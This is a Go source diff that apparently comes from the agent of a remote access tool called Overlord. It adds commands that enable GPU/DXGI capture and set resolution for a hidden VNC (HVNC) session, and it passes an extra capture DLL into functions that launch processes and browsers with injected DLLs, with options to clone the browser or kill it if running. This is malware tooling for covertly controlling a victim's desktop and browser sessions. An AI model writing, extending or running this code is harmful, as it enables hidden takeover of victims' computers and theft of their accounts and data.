GPU HVNC capturing

Overlord-Client/cmd/agent/handlers/command.go

@@ -470,6 +470,21 @@ func extractDLLBytes(payload map[string]interface{}) []byte {
 	return nil
 }
 
+func extractCaptureDLLBytes(payload map[string]interface{}) []byte {
+	if payload == nil {
+		return nil
+	}
+	switch v := payload["capture_dll"].(type) {
+	case []byte:
+		return v
+	case string:
+		if len(v) > 0 {
+			return []byte(v)
+		}
+	}
+	return nil
+}
+
 func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
 	cmdID, _ := envelope["id"].(string)
 	action, _ := envelope["commandType"].(string)
@@ -977,6 +992,30 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		_ = HVNCCursorControl(ctx, env, enabled)
 		sendCommandResultSafe(env, cmdID, true, "")
 		return nil
+	case "hvnc_enable_dxgi":
+		payload, _ := envelope["payload"].(map[string]interface{})
+		dxgiEnabled := true
+		if payload != nil {
+			if v, ok := payload["enabled"].(bool); ok {
+				dxgiEnabled = v
+			}
+		}
+		log.Printf("hvnc: DXGI capture %v", dxgiEnabled)
+		capture.SetHVNCDXGIEnabled(dxgiEnabled)
+		sendCommandResultSafe(env, cmdID, true, "")
+		return nil
+	case "hvnc_set_resolution":
+		payload, _ := envelope["payload"].(map[string]interface{})
+		maxH := 1080
+		if payload != nil {
+			if v, ok := payloadInt(payload, "maxHeight"); ok {
+				maxH = v
+			}
+		}
+		log.Printf("hvnc: set resolution maxHeight=%d", maxH)
+		capture.SetMaxResolution(maxH)
+		sendCommandResultSafe(env, cmdID, true, "")
+		return nil
 	case "hvnc_set_quality":
 		payload, _ := envelope["payload"].(map[string]interface{})
 		quality := 90
@@ -1437,10 +1476,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			sendCommandResultSafe(env, cmdID, false, "no DLL provided")
 			return nil
 		}
-		log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d", filePath, searchPath, replacePath, len(dllBytes))
+		captureDllBytes := extractCaptureDLLBytes(payload)
+		log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, len(dllBytes), len(captureDllBytes))
 		sendCommandResultSafe(env, cmdID, true, "")
 		goSafe("hvnc_start_process_injected", nil, func() {
-			if err := capture.StartHVNCProcessInjected(filePath, dllBytes, searchPath, replacePath); err != nil {
+			if err := capture.StartHVNCProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath); err != nil {
 				log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
 			}
 		})
@@ -1460,9 +1500,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			return nil
 		}
 		log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
+		captureDllBytes := extractCaptureDLLBytes(payload)
 		sendCommandResultSafe(env, cmdID, true, "")
 		goSafe("hvnc_start_chrome_injected", nil, func() {
-			if err := capture.StartHVNCChromeInjected(chromePath, dllBytes); err != nil {
+			if err := capture.StartHVNCChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil {
 				log.Printf("hvnc: chrome injected failed: %v", err)
 			}
 		})
@@ -1502,6 +1543,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 			return nil
 		}
 		log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, len(dllBytes))
+		captureDllBytes := extractCaptureDLLBytes(payload)
 		sendCommandResultSafe(env, cmdID, true, "")
 		goSafe("hvnc_start_browser_injected", nil, func() {
 			var onProgress capture.CloneProgressFunc
@@ -1517,7 +1559,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 					})
 				}
 			}
-			if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil {
+			if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, onProgress); err != nil {
 				log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
 			}
 		})

Overlord-Client/cmd/agent/handlers/hvnc.go

@@ -27,7 +27,7 @@ func GetPersistedHVNCDisplay() int {
 }
 
 func HVNCStart(ctx context.Context, env *rt.Env, autoStartExplorer bool) error {
-	interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 30)
+	interval, fps := streamInterval("OVERLORD_HVNC_MAX_FPS", 120)
 	capture.SetH264TargetFPS(fps)
 	log.Printf("hvnc: starting stream (max fps %d)", fps)